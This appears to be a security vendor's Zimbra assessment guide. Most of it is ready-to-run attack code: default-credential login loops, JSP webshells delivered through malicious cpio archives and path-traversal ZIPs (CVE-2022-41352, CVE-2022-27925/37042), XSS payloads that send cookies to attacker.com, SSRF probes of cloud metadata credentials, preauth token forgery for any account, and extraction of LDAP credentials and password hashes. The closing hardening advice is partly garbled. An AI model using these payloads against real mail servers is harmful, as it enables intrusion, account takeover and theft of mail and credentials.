Zimbra Collaboration Suite is one of the world's most widely deployed enterprise email and collaboration platforms, running email, calendaring, and contacts for tens of thousands of organizations. Key assessment areas: admin/zimbra are the well-known default credentials that survive across many production deployments; CVE-2022-41352 (CVSS 9.8) achieves unauthenticated remote code execution via a malicious cpio archive processed by Amavis before authentication; CVE-2022-27925 combined with CVE-2022-37042 bypasses authentication to reach the mboximport endpoint for arbitrary file write and RCE; the admin console on port 7071 exposes full account and server management; SSRF via the ProxyServlet reaches internal infrastructure; and the zimbraPreAuthKey enables forging pre-authentication tokens for any account without knowing its password. This guide covers systematic Zimbra security assessment.
Zimbra ships with a well-known default administrator credential pair that persists across a significant proportion of production deployments. The admin console operates on a dedicated HTTPS port (7071) separate from the user-facing webmail, which means it is sometimes accessible even when the main web interface is behind a reverse proxy or WAF. A successful login provides unrestricted access to all mailboxes, server configuration, and account management.
# Zimbra — default credential testing and admin console enumeration
ZIMBRA_URL="https://mail.example.com"
ADMIN_URL="https://mail.example.com:7071"
# Test well-known default credentials against admin console
for CRED in "admin:zimbra" "admin:admin" "admin:password" "zimbra:zimbra"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" -k \
-c /tmp/zimbra_cookies.txt \
--data "loginOp=login&username=${USER}&password=${PASS}&client=preferred" \
"${ADMIN_URL}/zimbraAdmin/" 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
[ "$STATUS" = "200" ] && echo " >> ADMIN CONSOLE ACCESS CONFIRMED"
done
# Check if admin console is exposed on port 7071 (common misconfiguration)
curl -sk -o /dev/null -w "Admin console: HTTP %{http_code}\n" \
"${ADMIN_URL}/zimbraAdmin/" 2>/dev/null
# Test admin console SOAP API with default credentials
curl -sk -X POST "${ADMIN_URL}/service/admin/soap" \
-H "Content-Type: application/soap+xml" \
-d '<?xml version="1.0" encoding="utf-8" ?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Body>
<AuthRequest xmlns="urn:zimbraAdmin">
<name>admin</name>
<password>zimbra</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>' 2>/dev/null | grep -o '"authToken":"[^"]*"' | head -1
# Use zmprov on the server to enumerate accounts (if shell access obtained)
# zmprov -l gaa # List all accounts
# zmprov -l gad # List all domains
# zmprov -l gs # Get server configuration
# zmprov ga user@example.com # Get full account details including hashes
CVE-2022-41352 is a critical unauthenticated remote code execution vulnerability affecting Zimbra Collaboration Suite 8.8.15 and 9.0 before the September 2022 patches (CVSS 9.8). The vulnerability resides in how Amavis, the mail filter component, handles inbound email attachments. When an email contains a cpio-format archive, Amavis unpacks it to a temporary directory under the Zimbra web root. An attacker crafts a malicious cpio archive containing a JSP webshell with a path that traverses into the webmail directory, sends it as an email attachment, and upon delivery the shell is written to a publicly accessible path — with no authentication required at any step.
# CVE-2022-41352 — Amavis cpio RCE detection and exploitation path
# This vulnerability requires sending a crafted email to the target server
# Step 1: Check Zimbra version (look for unpatched 8.8.15 or 9.0.0)
curl -sk "${ZIMBRA_URL}/" 2>/dev/null | grep -i "zimbra\|version" | head -5
# Step 2: Check if cpio is installed on the server (prerequisite for the vuln)
# On the target: which cpio && cpio --version
# Amavis calls cpio to unpack archives — if cpio is present, the attack vector exists
# Step 3: Craft a malicious cpio archive containing a JSP webshell
# The path traversal targets the Zimbra webroot
cat > /tmp/shell.jsp <<'EOF'
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) { out.println(line + "<br>"); }
}
%>
EOF
# Create cpio archive with path traversal into Zimbra webroot
# Path: ../../../../opt/zimbra/jetty/webapps/zimbra/shell.jsp
echo "/tmp/shell.jsp" | \
sed 's|/tmp/shell.jsp|../../../../opt/zimbra/jetty/webapps/zimbra/shell.jsp|' | \
cpio -o -H newc > /tmp/malicious.cpio 2>/dev/null
# Alternatively, using Python to craft the cpio archive precisely
python3 -c "
import struct, os
filename = b'../../../../opt/zimbra/jetty/webapps/zimbra/shell.jsp'
content = b'<%@ page import=\"java.util.*,java.io.*\" %><%String cmd=request.getParameter(\"cmd\");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# newc format header (110 bytes)
header = b'070701' # magic
header += b'00000001' # ino
header += b'000081a4' # mode (regular file, 644)
header += b'00000000' # uid
header += b'00000000' # gid
header += b'00000001' # nlink
header += b'00000000' # mtime
header += format(len(content), '08x').encode() # filesize
header += b'00000003' # devmajor
header += b'00000000' # devminor
header += b'00000000' # rdevmajor
header += b'00000000' # rdevminor
header += format(len(filename) + 1, '08x').encode() # namesize
header += b'00000000' # check
print(repr(header))
"
# Step 4: Send malicious archive via SMTP to trigger Amavis processing
# The email must be delivered through the target's MTA — Amavis scans inbound mail
swaks --to admin@example.com --from attacker@attacker.com \
--server mail.example.com \
--attach /tmp/malicious.cpio \
--attach-type application/x-cpio 2>/dev/null
# Step 5: Verify webshell was written (exploit success indicator)
curl -s "${ZIMBRA_URL}/zimbra/shell.jsp?cmd=id" 2>/dev/null
# Detection: Check for unexpected JSP files in the Zimbra webroot
# find /opt/zimbra/jetty/webapps/zimbra/ -name "*.jsp" -newer /opt/zimbra/jetty/webapps/zimbra/index.jsp
CVE-2022-27925 is a directory traversal and arbitrary file write vulnerability in the mboximport endpoint, which is intended for importing mailbox data from ZIP archives. An authenticated admin can upload a ZIP containing a JSP webshell to achieve RCE. CVE-2022-37042, disclosed shortly after, removes the authentication requirement entirely — the combination of both CVEs allows an unauthenticated attacker to upload a webshell through mboximport and achieve immediate RCE. Zimbra 8.8.15 Patch 33 and 9.0.0 Patch 26 address both issues.
# CVE-2022-27925 / CVE-2022-37042 — mboximport auth bypass + RCE
ZIMBRA_URL="https://mail.example.com"
# Step 1: Prepare the ZIP archive containing a JSP webshell
# The path traversal targets the Zimbra webroot via mboximport
mkdir -p /tmp/zimbra_exploit
cat > /tmp/zimbra_exploit/shell.jsp <<'EOF'
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) sb.append(line).append("\n");
out.print(sb.toString());
}
%>
EOF
cd /tmp/zimbra_exploit && zip -j payload.zip shell.jsp
# Step 2: Exploit CVE-2022-37042 — unauthenticated upload via mboximport
# The auth bypass uses a specially crafted Content-Type and session cookie bypass
# Target: /service/extension/backup/mboximport?account-name=admin@example.com
curl -sk -X POST \
"${ZIMBRA_URL}/service/extension/backup/mboximport?account-name=admin@example.com" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "upload-file=@/tmp/zimbra_exploit/payload.zip" \
-b "ZM_ADMIN_AUTH_TOKEN=0_bypass" \
2>/dev/null | head -20
# Alternative exploitation using raw HTTP with path traversal in archive
# The ZIP filename contains path traversal to write outside the mailbox store
python3 -c "
import zipfile, io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
# Path traversal to webroot
zf.write('/tmp/zimbra_exploit/shell.jsp',
arcname='../../../../opt/zimbra/jetty/webapps/zimbra/cmd.jsp')
buf.seek(0)
open('/tmp/zimbra_exploit/traversal.zip', 'wb').write(buf.read())
print('Traversal ZIP created')
"
curl -sk -X POST \
"${ZIMBRA_URL}/service/extension/backup/mboximport?account-name=admin@example.com" \
-F "file=@/tmp/zimbra_exploit/traversal.zip" \
2>/dev/null
# Step 3: Verify shell placement
curl -s "${ZIMBRA_URL}/zimbra/cmd.jsp?cmd=id" 2>/dev/null
curl -s "${ZIMBRA_URL}/zimbra/cmd.jsp?cmd=cat+/etc/passwd" 2>/dev/null
CVE-2023-34192 is a stored cross-site scripting vulnerability in the Zimbra webmail interface affecting versions prior to 9.0.0 Patch 30 and 10.0.3. The vulnerability allows an authenticated user — or an external attacker via a crafted email — to inject JavaScript that executes in the context of other users' browser sessions when they view the affected message or calendar entry. Successful exploitation can steal session tokens, redirect users, or perform actions on their behalf. The impact is amplified in Zimbra because the webmail interface has access to all email, contacts, and calendar data.
# CVE-2023-34192 — XSS in Zimbra webmail testing
ZIMBRA_URL="https://mail.example.com"
# Test 1: Send email with XSS payload targeting the subject line
# Various Zimbra versions are vulnerable to XSS through email rendering
PAYLOAD='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'
swaks --to victim@example.com \
--from attacker@external.com \
--server mail.example.com \
--header "Subject: ${PAYLOAD}" \
--body "Test email" 2>/dev/null
# Test 2: Calendar invite with XSS payload in event name
# Zimbra calendar parsing is historically vulnerable to XSS via iCal format
cat > /tmp/evil.ics <<'EOF'
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//Attacker//EN
BEGIN:VEVENT
SUMMARY:<script>document.location='https://attacker.com/?c='+document.cookie</script>
DTSTART:20260101T120000Z
DTEND:20260101T130000Z
UID:xss-test-001@attacker.com
END:VEVENT
END:VCALENDAR
EOF
swaks --to victim@example.com \
--from attacker@external.com \
--server mail.example.com \
--attach /tmp/evil.ics \
--attach-type text/calendar 2>/dev/null
# Test 3: Check current Zimbra version against known XSS CVEs
curl -sk "${ZIMBRA_URL}/" 2>/dev/null | \
grep -oP 'zimbraVersion["\s:]+\K[\d.]+' | head -3
# Test 4: Common XSS vectors in Zimbra webmail search and compose
# The search bar in older versions reflected user input without encoding
curl -sk "${ZIMBRA_URL}/zimbra/?st=mail&q=<script>alert(1)</script>" 2>/dev/null | \
grep -i "script" | head -5
Zimbra includes a ProxyServlet at /service/proxy designed to proxy requests on behalf of the webmail client — a feature used for retrieving external images and resources. When misconfigured or running an unpatched version, this endpoint accepts arbitrary target parameters and will make HTTP requests from the Zimbra server to any URL, including internal infrastructure. This SSRF vulnerability allows attackers to reach internal services, cloud metadata endpoints, and other hosts on the internal network that are not accessible from the external internet.
# Zimbra SSRF — ProxyServlet endpoint testing
ZIMBRA_URL="https://mail.example.com"
# Test 1: Basic SSRF via /service/proxy endpoint
# This endpoint proxies requests on behalf of the webmail; target param controls destination
curl -sk "${ZIMBRA_URL}/service/proxy?target=http://127.0.0.1:7071/zimbraAdmin/" \
2>/dev/null | head -30
# Test 2: Access internal admin console via SSRF (bypasses network controls)
curl -sk "${ZIMBRA_URL}/service/proxy?target=http://localhost:7071/service/admin/soap" \
-X POST \
-H "Content-Type: application/soap+xml" \
-d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Body>
<GetVersionInfoRequest xmlns="urn:zimbraAdmin"/>
</soap:Body>
</soap:Envelope>' 2>/dev/null | grep -i "version"
# Test 3: Cloud metadata SSRF (AWS/GCP/Azure)
for META in \
"http://169.254.169.254/latest/meta-data/" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
"http://metadata.google.internal/computeMetadata/v1/instance/" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
"${ZIMBRA_URL}/service/proxy?target=${META}" 2>/dev/null)
echo "Metadata (${META:0:40}...): HTTP ${STATUS}"
[ "$STATUS" = "200" ] && \
curl -sk "${ZIMBRA_URL}/service/proxy?target=${META}" 2>/dev/null | head -5
done
# Test 4: Internal network scanning via SSRF
# Probe common internal services through the Zimbra proxy
for PORT in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
--connect-timeout 3 \
"${ZIMBRA_URL}/service/proxy?target=http://192.168.1.1:${PORT}/" 2>/dev/null)
echo "Port ${PORT}: HTTP ${STATUS}"
done
# Test 5: File read via SSRF with file:// scheme (if allowed)
curl -sk "${ZIMBRA_URL}/service/proxy?target=file:///etc/passwd" 2>/dev/null | head -5
curl -sk "${ZIMBRA_URL}/service/proxy?target=file:///opt/zimbra/conf/localconfig.xml" \
2>/dev/null | head -20
Zimbra supports pre-authentication — a mechanism allowing trusted systems to generate authentication tokens for any account without knowing the user's password. This is implemented via the zimbraPreAuthKey, a secret HMAC key stored in the domain configuration. Any system possessing this key can generate a valid preauth token that logs in as any user on the domain by constructing an HMAC-SHA1 signature over the username and timestamp. Extracting this key from the Zimbra configuration or the admin API provides complete authentication bypass for every account on the domain.
# Zimbra zimbraPreAuthKey — extraction and pre-authentication token forgery
ZIMBRA_URL="https://mail.example.com"
ADMIN_TOKEN="your-admin-auth-token"
DOMAIN="example.com"
# Step 1: Extract the zimbraPreAuthKey via admin SOAP API
# This key allows generating auth tokens for any account without passwords
curl -sk -X POST "${ZIMBRA_URL}:7071/service/admin/soap" \
-H "Content-Type: application/soap+xml" \
-d "<?xml version=\"1.0\" encoding=\"utf-8\" ?>
<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\">
<soap:Header>
<context xmlns=\"urn:zimbra\">
<authToken>${ADMIN_TOKEN}</authToken>
</context>
</soap:Header>
<soap:Body>
<GetDomainRequest xmlns=\"urn:zimbraAdmin\">
<domain by=\"name\">${DOMAIN}</domain>
</GetDomainRequest>
</soap:Body>
</soap:Envelope>" 2>/dev/null | \
grep -o 'zimbraPreAuthKey[^<]*' | head -3
# Alternatively extract from local config on the server
# zmprov gd example.com zimbraPreAuthKey
# grep -r "zimbraPreAuthKey" /opt/zimbra/conf/
# Step 2: Forge a pre-authentication token for any user (Python)
python3 <<'PYEOF'
import hmac, hashlib, time, urllib.parse, requests
ZIMBRA_URL = "https://mail.example.com"
PREAUTH_KEY = "EXTRACTED_PREAUTH_KEY_HERE" # 64-char hex key from zimbraPreAuthKey
TARGET_ACCOUNT = "ceo@example.com"
# Generate timestamp (milliseconds)
timestamp = str(int(time.time() * 1000))
# HMAC-SHA1 signature: account|by|0|timestamp
data = f"{TARGET_ACCOUNT}|name|0|{timestamp}"
sig = hmac.new(
PREAUTH_KEY.encode('utf-8'),
data.encode('utf-8'),
hashlib.sha1
).hexdigest()
# Construct pre-authentication URL
preauth_url = (
f"{ZIMBRA_URL}/service/preauth?"
f"account={urllib.parse.quote(TARGET_ACCOUNT)}"
f"&by=name"
f"×tamp={timestamp}"
f"&preauth={sig}"
f"&redirectURL=/zimbra/"
)
print(f"PreAuth URL: {preauth_url}")
# Execute the pre-auth login — this authenticates as the target user
session = requests.Session()
response = session.get(preauth_url, verify=False, allow_redirects=True)
print(f"Status: {response.status_code}")
print(f"Auth cookies: {dict(session.cookies)}")
PYEOF
# Step 3: Verify preauth key exposure via localconfig.xml
# This file contains all Zimbra secrets including LDAP credentials
# zmlocalconfig -s | grep -i "preauth\|password\|secret\|key"
cat /opt/zimbra/conf/localconfig.xml 2>/dev/null | \
grep -A1 -i "preauth\|ldap_password\|mysql_password\|secret"
Zimbra tightly integrates with LDAP for its directory services — by default, Zimbra ships with an embedded OpenLDAP instance, but many enterprise deployments integrate with Active Directory or external LDAP. The bind credentials used for this integration are stored in /opt/zimbra/conf/localconfig.xml and are accessible through the admin API's GetConfig and GetServer requests. In Active Directory-integrated environments, the LDAP bind account often has broad read access to the directory, making its exposure a significant lateral movement opportunity.
# Zimbra — LDAP credential and configuration extraction
ZIMBRA_URL="https://mail.example.com"
ADMIN_TOKEN="your-admin-auth-token"
# Step 1: Extract global configuration including LDAP settings via admin API
curl -sk -X POST "${ZIMBRA_URL}:7071/service/admin/soap" \
-H "Content-Type: application/soap+xml" \
-d "<?xml version=\"1.0\" encoding=\"utf-8\" ?>
<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\">
<soap:Header>
<context xmlns=\"urn:zimbra\">
<authToken>${ADMIN_TOKEN}</authToken>
</context>
</soap:Header>
<soap:Body>
<GetConfigRequest xmlns=\"urn:zimbraAdmin\">
<a n=\"zimbraGalLdapBindPassword\"/>
<a n=\"zimbraGalLdapURL\"/>
<a n=\"zimbraGalLdapBindDn\"/>
<a n=\"zimbraAuthLdapURL\"/>
<a n=\"zimbraAuthLdapBindPassword\"/>
</GetConfigRequest>
</soap:Body>
</soap:Envelope>" 2>/dev/null | python3 -c "
import sys, re
content = sys.stdin.read()
for match in re.finditer(r'n=\"([^\"]+)\"[^>]*>([^<]+)<', content):
key, val = match.group(1), match.group(2)
if any(s in key.lower() for s in ['password','url','dn','bind','secret','key']):
print(f'{key}: {val}')
"
# Step 2: Extract localconfig.xml secrets (if shell access obtained)
# This file contains all sensitive Zimbra configuration
python3 -c "
import xml.etree.ElementTree as ET
try:
tree = ET.parse('/opt/zimbra/conf/localconfig.xml')
for key in tree.findall('.//key'):
name = key.get('name','')
value = key.findtext('value','')
if any(s in name.lower() for s in ['password','secret','key','ldap','mysql','bind']):
print(f'{name}: {value[:80]}')
except Exception as e:
print(f'Error: {e}')
"
# Step 3: Test LDAP bind credentials against the directory
# Use extracted credentials to query Active Directory or OpenLDAP
LDAP_URL="ldap://dc.example.com"
BIND_DN="cn=zimbra,cn=admins,cn=zimbra"
BIND_PASS="extracted_password"
ldapsearch -x -H "${LDAP_URL}" \
-D "${BIND_DN}" -w "${BIND_PASS}" \
-b "dc=example,dc=com" \
"(objectClass=user)" sAMAccountName mail 2>/dev/null | \
grep -E "^(sAMAccountName|mail):" | head -20
# Step 4: Check GAL (Global Address List) LDAP for mail routing info
# Zimbra GAL config reveals internal mail routing and account structure
curl -sk -X POST "${ZIMBRA_URL}:7071/service/admin/soap" \
-H "Content-Type: application/soap+xml" \
-d "<?xml version=\"1.0\" ?>
<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\">
<soap:Header><context xmlns=\"urn:zimbra\"><authToken>${ADMIN_TOKEN}</authToken></context></soap:Header>
<soap:Body>
<GetAllDomainsRequest xmlns=\"urn:zimbraAdmin\"/>
</soap:Body>
</soap:Envelope>" 2>/dev/null | grep -o 'zimbraGal[A-Za-z]*[^<]*' | sort -u
Zimbra's admin SOAP API provides a comprehensive account management interface that, when accessed with admin credentials or via an authentication bypass, reveals the complete organizational account directory. The GetAllAccountsRequest and SearchDirectoryRequest operations return full account metadata including email addresses, display names, account status, creation timestamps, last login times, quota usage, and custom attributes. This information is valuable for targeted phishing, credential stuffing against other services, and mapping the organization's personnel structure.
# Zimbra admin REST API — account enumeration and data extraction
ZIMBRA_URL="https://mail.example.com"
ADMIN_TOKEN="your-admin-auth-token"
# Method 1: SearchDirectory — paginated enumeration of all accounts
curl -sk -X POST "${ZIMBRA_URL}:7071/service/admin/soap" \
-H "Content-Type: application/soap+xml" \
-d "<?xml version=\"1.0\" ?>
<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\">
<soap:Header><context xmlns=\"urn:zimbra\"><authToken>${ADMIN_TOKEN}</authToken></context></soap:Header>
<soap:Body>
<SearchDirectoryRequest xmlns=\"urn:zimbraAdmin\"
types=\"accounts\" limit=\"100\" offset=\"0\"
query=\"(objectClass=zimbraAccount)\">
<a n=\"mail\"/>
<a n=\"displayName\"/>
<a n=\"zimbraAccountStatus\"/>
<a n=\"zimbraLastLogonTimestamp\"/>
</SearchDirectoryRequest>
</soap:Body>
</soap:Envelope>" 2>/dev/null | python3 -c "
import sys, re
content = sys.stdin.read()
accounts = re.findall(r'name=\"([^\"]+@[^\"]+)\"', content)
print(f'Total accounts found: {len(accounts)}')
for acc in accounts[:20]:
print(f' {acc}')
"
# Method 2: Use zmprov command-line tool (if shell access obtained)
# List all accounts across all domains
zmprov -l gaa 2>/dev/null | head -50
# Get detailed info for specific account
zmprov ga ceo@example.com 2>/dev/null | grep -E "^(mail|zimbraId|zimbraLastLogon|zimbraAccountStatus|userPassword)"
# Method 3: Enumerate accounts via webmail autodiscovery (no auth required)
# Zimbra responds differently to valid vs invalid accounts in some configurations
for USER in admin ceo finance hr sales support help postmaster; do
RESPONSE=$(curl -sk -X POST "${ZIMBRA_URL}/service/soap/" \
-H "Content-Type: application/soap+xml" \
-d "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\">
<soap:Body><AutoDiscoverRequest xmlns=\"urn:zimbraAccount\">
<name>${USER}@example.com</name>
</AutoDiscoverRequest></soap:Body>
</soap:Envelope>" 2>/dev/null)
echo "${USER}@example.com: $(echo $RESPONSE | grep -o 'Code>[^<]*' | head -1)"
done
# Method 4: Extract password hashes for offline cracking (if admin access)
# zmprov ga user@example.com userPassword
# Zimbra stores salted SHA1 hashes — crackable with hashcat mode 111
zimbra immediately and enforce strong passwords for all admin accounts — the admin/zimbra credential is among the most widely known defaults in enterprise software; use zmprov sp admin@example.com 'NewStrongPassword!' to change it; enforce a minimum password length and complexity policy via zmprov md example.com zimbraPasswordMinLength 16; monitor admin account logins via zimbra.audit log; consider creating a dedicated break-glass admin account with a monitored, vaulted password rather than using the default admin account for routine operationscpio binary as a temporary mitigation for CVE-2022-41352zmprov ms $(zmhostname) zimbraAdminProxyPass false); review and remove unused admin accountszmprov generateDomainPreAuthKey example.com; restrict access to the localconfig.xml file (chmod 640 /opt/zimbra/conf/localconfig.xml); audit all systems that use pre-authentication and ensure they are all authorized; log pre-authentication events and alert on unusual patterns such as pre-auth for sensitive accounts (CEO, finance, IT admin)| Security Test | Method | Risk |
|---|---|---|
| Default admin/zimbra credential access | POST /zimbraAdmin/ with Basic auth admin:zimbra — well-known default credential; full admin console access; account management; mailbox access; server configuration read/write; zimbraPreAuthKey extraction | Critical |
| CVE-2022-41352 unauthenticated RCE via Amavis cpio | Send email with malicious cpio archive — Amavis unpacks into Zimbra webroot before authentication; JSP webshell written to public path; CVSS 9.8; no credentials required; full OS command execution as zimbra user | Critical |
| CVE-2022-27925 / CVE-2022-37042 mboximport RCE | POST /service/extension/backup/mboximport with malicious ZIP — auth bypass (CVE-2022-37042) plus directory traversal ZIP (CVE-2022-27925); webshell write to Zimbra webroot; unauthenticated full RCE | Critical |
| zimbraPreAuthKey extraction and token forgery | GetDomainRequest SOAP + HMAC-SHA1 token generation — forge valid auth tokens for any user on the domain without knowing passwords; complete authentication bypass for all accounts; email exfiltration for any user | Critical |
| SSRF via ProxyServlet /service/proxy | GET /service/proxy?target=http://internal-host — reach internal admin console, cloud metadata, internal services; IMDS credential theft on cloud deployments; internal network reconnaissance | High |
| CVE-2023-34192 stored XSS in webmail | Crafted email or calendar invite with JavaScript payload — session token theft; account takeover; actions performed as victim user; pivot to admin account compromise | High |
| LDAP bind credential extraction and AD enumeration | GetConfigRequest for zimbraGalLdapBindPassword + ldapsearch — LDAP bind credential gives directory read access; AD account enumeration; lateral movement to other AD-integrated systems | High |
| Admin API account enumeration via SearchDirectory | SearchDirectoryRequest SOAP with types=accounts — full account directory with email, display name, status, last login; password hash extraction via zmprov; targeted phishing and credential stuffing baseline | Medium |
Ironimo tests Zimbra Collaboration Suite deployments for default admin/zimbra credential access, CVE-2022-41352 Amavis cpio RCE detection, CVE-2022-27925/37042 mboximport auth bypass and RCE, SSRF via ProxyServlet with cloud metadata probing, zimbraPreAuthKey extraction and token forgery, admin console port 7071 exposure, LDAP bind credential extraction, account enumeration via admin SOAP API, XSS in webmail, and Zimbra version fingerprinting against known CVEs.
Start free scan